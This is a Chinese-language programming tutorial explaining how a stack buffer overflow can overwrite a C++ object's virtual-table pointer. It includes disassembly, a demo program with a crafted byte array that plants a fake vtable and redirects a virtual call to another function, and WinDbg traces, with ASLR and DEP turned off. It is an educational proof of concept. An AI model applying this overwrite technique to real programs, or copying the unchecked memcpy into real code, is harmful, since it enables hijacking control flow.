程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C++ >> 關於C++ >> C++溢出對象虛函數表指針

C++溢出對象虛函數表指針

編輯:關於C++

C++一特性是通過virtual關鍵字實現運行時多態,雖然自己用到這個關鍵字的機會不多,但很多引用的第三方庫會大量使用這個關鍵字,比如MFC...如果某個函數由virtual關鍵字修飾,並且通過指針方式調用,則由編譯器實現運行時多態,也是本文溢出虛函數表並加以利用的前提條件。

文章開頭提到了能完成溢出利用的前提條件,看下Object.Function()調用方式和ObjectPtr->Function()調用方式的差別,源碼如下:

class base
{
public:
	virtual void test()
	{
		printf("%s\n","base:test");
	}
};

int main()
{
	base obj1;
	base* objPtr = &obj1;

	obj1.test(); //普通調用方式
	objPtr->test(); //運行時多態
	return 0;
}
截取關鍵部分的反匯編代碼:
	base* objPtr = &obj1;
00401026  lea         eax,[obj1]  
00401029  mov         dword ptr [objPtr],eax  

	obj1.test();
0040102C  lea         ecx,[obj1]  
0040102F  call        base::test (401090h)  // 1)對應的OpCode為0x0040102F:e8 5c 00 00 00
	objPtr->test();
00401034  mov         eax,dword ptr [objPtr]  
00401037  mov         edx,dword ptr [eax]  
00401039  mov         esi,esp  
0040103B  mov         ecx,dword ptr [objPtr]  
0040103E  mov         eax,dword ptr [edx]  
00401040  call        eax  // 2)
反匯編代碼call base::test (401090h)的調用目標就是虛函數test所在的地址(為了編譯演示效果,我已關閉鏈接選項中的增量鏈接):
	virtual void test()
	{
00401090  push        ebp  
00401091  mov         ebp,esp  
00401093  sub         esp,0CCh  
00401099  push        ebx  
0040109A  push        esi  
0040109B  push        edi  
0040109C  push        ecx  
0040109D  lea         edi,[ebp-0CCh]  
004010A3  mov         ecx,33h  
004010A8  mov         eax,0CCCCCCCCh  
004010AD  rep stos    dword ptr es:[edi]  
004010AF  pop         ecx  
004010B0  mov         dword ptr [ebp-8],ecx  
從這段代碼可以看到這些信息:

1)處,普通調用方式和C語言中的相對調用一樣,都是讓Eip跳轉一段相對距離去取指執行(從Call指令被匯編為E8看出);而2)處,運行時多態則通過call [Mem]的方式實現間接跳轉。這種調用方式比較靈活:首先內存地址Mem是變數,其次內存值[Mem]同樣是變數,需要根據程序執行時使用的內存情況而定,不像方式1)那樣,編譯完了就成了板上釘釘的事實了。就是這種不加檢查內存有效性的盲目(<-這段是我自己主觀判斷的)靈活性給我們帶來了利用的機會。

上面已經知道了2種調用機制的差別,現在將重點放到運行時多態的實現上。(為了行文方便,這裡容我假設你已經閱讀了一文,並對虛表機制有一定了解)。先看下Obj1對象的內存分布圖:

\

圖中顯示Obj1對象的虛表存在於Obj1對象外部(按我調試的結論,虛表是類對象所共有,存在於PE文件rodata節中,因為每次修改虛表都會引起訪存異常。),在對象內部僅保留一個指針成員指向該共有虛表。如果讓指針指向錯誤的地方----比如我們偽造的虛表,則程序會不假思索的去偽造的虛表取虛函數地址並執行。

鑒於這種猜測,我們動手嘗試覆蓋Obj1對象的虛表,思路如下:先在棧上開辟一個數組,緊接著創建obj1對象,然後溢出數組直到Obj1對象虛表指針所在的內存。修改後的代碼如下:

class base
{
public:
	unsigned char buff[4];
	base()
	{
		memset(buff,0xAA,4);
	}
	virtual void test()
	{
		printf("%s\n","base:test");
	}
};


void fakeFunc()
{
		printf("%s\n","fakeFunc");
}
unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
			'\xcc','\xcc','\xcc','\xcc',
			'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
			'\x08','\xff','\x12','\x00'};
int main()
{
	base* objPtr;
	base obj1;
	unsigned char buf[8] = {0};


	objPtr = &obj1;
	memcpy(buf,shellcode,0x14);


	objPtr->test();
	return 0;
}
調試查看變量obj1和buf的內存分布情況:

0:000> dd obj1 l1 0012ff18 0043b1d4 0:000> dd buf 0012ff08 00000000 00000000 cccccccc cccccccc 0012ff18 0043b1d4 aaaaaaaa cccccccc cccccccc 


從windbg返回的結果看,buf後面緊貼著0x8B的0xcc,這是變量保存區,由vs編譯生成的gap,用於檢測棧溢出,緊隨其後的0x012ff18是obj1對象所在內存區,這個地址同時也是obj1對象的虛表指針所在,只要巧妙的構造copy給buf的內容,就能使objPtr->test()去執行fakeFunc函數。為了便於試驗中構造shellcode,設置VS鏈接選項隨機基質和數據執行保護都為No。
我構造用以溢出buf的緩存區的內容為:

unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
'\xcc','\xcc','\xcc','\xcc',
'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
'\x08','\xff','\x12','\x00'};

shellcode在這有2個作用:1)很明顯的一點溢出buf到obj1所在地址;2)shellcode前4B充當虛函數表,當然這個表的內容比較單一,只有一個表項,表項內容是fakeFunc的地址(見下面的windbg輸出結果)。這部分內容我用紅色字體標示:'\x00','\x10','\x40','\x00'(Intel小端序),這個需要讀者按照自己實際情況修改。

0:000> u fakeFunc
00401000 55              push    ebp
00401001 8bec            mov     ebp,esp
綠色字體部分:'\x08','\xff','\x12','\x00',這4B正好覆蓋obj1的虛函數表指針:

這是覆蓋前buf和Obj1的內存情況:

0:000> dd buf L8
0012ff08  00000000 00000000 cccccccc cccccccc
0012ff18  0043b1c0 aaaaaaaa cccccccc cccccccc
這是執行memcpy之後覆蓋Obj1的情況:
0:000> dd buf L8
0012ff08  00401000 cccccccc cccccccc cccccccc
0012ff18  0012ff08 aaaaaaaa cccccccc cccccccc
最後,看下覆蓋後程序objPtr->test()執行情況:

\

圖中紅框是objPtr->test()對應的反匯編代碼,我們單步執行查看結果:

0:000> t
virtual!main+0x5c:
004010ac 8b10            mov     edx,dword ptr [eax]  ds:0023:0012ff18=0012ff08
0:000> r eax
eax=0012ff18
1.這步是取objPtr指針地址,eax=0x12ff18,對應objPtr對象起址,同時是虛函數表指針地址
0:000> p
virtual!main+0x5e:
004010ae 8bf4            mov     esi,esp
0:000> r edx
edx=0012ff08
2.這步是從虛函數表指針取虛表地址到edx
004010b3 8b02            mov     eax,dword ptr [edx]  ds:0023:0012ff08={virtual!fakeFunc (00401000)}
0:000> p
eip=004010b5 esp=0012fe38 ebp=0012ff34
virtual!main+0x65:
004010b5 ffd0            call    eax {virtual!fakeFunc (00401000)}
3.跳過_chkesp相關的代碼,繼續執行的結果。

前面說過當前虛表中只有一項,當前edx存放虛表地址,因此[edx]中的值存了被偽造的虛函數的地址0x401000,將其存放到eax

0:000> r eax
eax=00401000
之後,F5運行,查看結果,已經跳轉到fakeFunc中:


\

 

\

至此,溢出利用虛函數表指針成功

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved